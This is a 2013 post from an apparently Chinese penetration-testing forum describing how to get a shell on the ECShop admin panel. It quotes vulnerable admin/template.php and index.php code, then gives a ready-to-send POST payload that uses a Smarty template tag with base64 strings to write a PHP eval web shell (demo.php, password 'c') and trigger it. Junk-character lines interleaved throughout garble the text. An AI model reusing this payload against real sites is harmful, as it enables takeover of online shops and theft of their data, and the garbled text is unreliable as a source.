中国网络渗透测试联盟
标题:
Ecshop后台getshell
[打印本页]
作者:
admin
时间:
2013-1-11 21:33
标题:
Ecshop后台getshell
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
% ], k3 z0 c# G* [3 _, d W
* Y5 f# r% ^+ m J9 L
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
( l( X2 q- O$ k
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
( k; D' F& M1 p) A2 p
admin/template.php
8 I; i% W; |; B. M* H4 S) y
* W, S) T Z- ~$ Y$ G' B2 Q
1 if ($_REQUEST['act'] == 'update_library')
4 o6 r- d7 G( l
! e* n8 G, s* [9 h/ G
2
- O) W* Q( [' h2 L5 F' W
N/ m2 e* N( J a. K) G
3 {
6 Y& z: e- {/ n$ W) I! @0 {
$ B3 @+ y8 l/ G# {1 E- M
4 check_authz_json('library_manage');
, C9 n4 i* g/ p x9 F
6 X3 _+ h1 w0 i
5
* t" U2 t: t" ? o( @$ o c0 x
3 p% W% t! v# k9 [* d
6 $html = stripslashes(json_str_iconv($_POST['html']));
4 Q0 @, ?. U! D8 ~$ J1 Y( q0 O
" e% i2 j- |/ `" f8 r
7
- N6 j* Z4 s$ L, ~
1 p. S3 R; S, ]. f' {: \- T$ e
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
3 D# z1 b8 x( G' v7 H' `0 N: V
' H# C2 y( L6 }# U# c! e7 m' D
9
, u9 N9 r, G$ U; V
# S; R5 p7 z# R5 y+ |
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
. y: e$ s" M, V' \4 Y6 y
7 u# E7 [+ N9 b
11
% w. n0 | b; G' H
( ^, i) Y3 t" A2 a! e& w1 r
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
, E! J. C1 t& j7 c" }5 ?
5 Q2 ?' w3 g. F8 q7 d/ i
13
' J- c" c% H1 q$ ~1 T: U: c
: `0 W6 H4 j, j# F+ ^9 y
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
- i+ r" o, W- g( {$ T' S; d
6 x3 p9 J# i! O7 k2 ^ G B
15 {
. `% R# x0 e+ R3 M7 }+ B" N/ L
9 O0 }) J3 J# a, i
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
u9 K! q/ a0 i) I8 R
. w# w+ g% a+ a X) ]- V3 D
17 make_json_result('', $_LANG['update_lib_success']);
# n! `7 Q( f s% p4 B
0 e; c. D6 e0 E- o4 C1 H8 i
18 }
" u4 q' M, g3 m- z5 X0 r9 k) T8 ?
' l* Z1 `" y! `' o0 L" Y
19 else
3 s9 s" p7 c7 Y
# E4 w6 Z3 T2 L7 R/ v
20 {
$ m1 ^0 N2 {, E" B* `" C
$ Q6 Q+ I( j6 u h$ N4 Q
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
( w1 ~7 N2 \, v2 v# P
3 k7 t" {3 F* q8 M& z! W
22 }
7 S# o" {1 S! D- M* \2 \
; @2 G# g6 o1 O
23 }
1 k+ v; M6 m4 {5 W
( u6 g. g" H- x9 \+ L3 y/ n% ~) z
那么找个比较方便调用了模板的文件
7 `& n9 [) K! X7 A) w
index.php
/ v$ n" k2 H- Q r1 m2 F T, O* n5 |
, f* h' @' z1 W1 ?
1 if ($act == 'cat_rec')
! N1 ~. J0 I1 [# u l
q7 |% W- j! D9 C' b
2
! v% z* c' {/ N3 C/ Z v3 {
9 n% g8 m( v0 s" ]3 Y
3 {
' w3 ~: r4 o" Q4 g* j; o
* o' m0 b; k9 ?$ C6 K) v4 c
4
! ^7 J$ @2 i& K# m% M( n0 F
: y- z' H6 E0 F
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
' _0 x. j. \, O# X
; e. s% Z- R$ m
6
# h$ [% I% f7 x8 @7 i
! w+ n3 N7 I# a8 U2 W- q r* q
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
* Y4 v5 M0 r7 r' Y$ B
+ d# s) ]# L9 I4 a4 D
8
( a! d: S8 U* B4 F
) P# h1 }, v. r% \
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
) x; i- [; h# m5 k
: L7 h9 ]6 r' w, }
10
" B$ r3 C+ E u
- k8 ?7 v) ?8 {/ e# K$ \
11 include_once('includes/cls_json.php');
& t& k+ L9 z, q( B# G6 q
7 ~+ W7 s0 n) j) u) L5 I
12
c9 k6 R. j8 Y9 \. o6 u Q' o/ Y
) O2 p9 ~. G9 f+ i6 u
13 $json = new JSON;
; Z* J* {% J' P$ K# u* B( ~
& o# \) v9 x6 P" U+ U. \1 Z+ P( f
14
- l& z3 D4 O! l3 v6 c9 ^# X& R
5 r2 J* H' J1 V7 X9 `5 f3 K
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
; R" S, Y( Q: w5 b
& V6 z5 ?! I' C8 |5 X7 ?; F5 c
16
% d# T( ~7 _; I6 E& R
9 T$ E; s$ r9 C8 {$ D; ^
17 $children = get_children($cat_id);
/ e7 l5 }7 D$ ^- m
* n" j5 }6 R* A$ f) n
18
+ c8 b" o) F6 b$ R
9 X. \( D0 ]4 } ^1 s' l* S
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
6 X* c- T; j8 Y) p) b5 V; ~
7 R. u# ~6 I, h$ Y: D' U9 o1 D( y+ {
20
2 q6 {+ m8 ^! F ~
+ R$ \, A- b4 U* Z' h# O
21 $smarty->assign('cat_rec_sign', 1);
! V' d2 n6 @' P2 y6 Z- F) I5 j' ^
6 @2 R- a+ u, }; N4 g+ |
22
& `: f3 }0 @! u* H# a: H, ], V/ q; j
% m1 t3 r) ^4 v' n4 C
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
( D c3 [1 i$ d! {$ i
4 }$ a, q' L$ g7 D* s
24
- ]* c) e0 _% v4 d6 p
' n" L" Q' [( o0 i( J. A. w
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
! v+ ]% a: f: S3 j6 p2 k* [
3 h$ V Z1 b- M4 A& k5 J$ Y" h
26
5 G2 V# O0 z7 z0 E
" i: U/ j/ a* X: X
27 echo $rec_array[$rec_type];
) d2 g4 Q) \1 t
3 @" Q4 n1 [' n% D
28
3 B2 U2 M3 i- H0 H
' t* M2 W, }4 W8 }+ F
29 die($json->encode($result));
) j7 A2 A# F9 @! t; g7 @
+ P$ d( L/ j0 ]& V3 f- U
30
) X9 ]4 r- b0 u' {; N
4 m9 Z) y( M# l& F
31 }
* q' q; c* I) s) }1 n
4 e/ s G* i2 a: k, e" i# `: k
那么就有利用方法了
/ p% E) m1 a |: B, Q+ B5 D
post包到http://localhost/ec/admin/template.php?act=update_library
% [7 d( n# `( z4 J B2 M$ L" ~
Post内容:
$ I8 o/ O* F9 b6 x1 ^. ~( o
* [, c) R( P0 e {
3 s& S# K. D& ~5 j: U# ^8 ~6 ?- E
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
2 v/ F4 R4 k- T
. k; S) L, r8 n/ z: m! W. e, r
然后访问http://localhost/ec/index.php?act=cat_rec
$ }3 G( E5 F2 W0 j+ v0 W
% e, N5 y$ [9 p4 i
shel地址:http://localhost/ec/demo.php
3 i) s6 k: c0 ~3 l! _0 Z9 a+ `; G
密码c
" i0 q$ f/ b$ [5 f% V5 ^
' q. p- f* ]0 c. ?
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2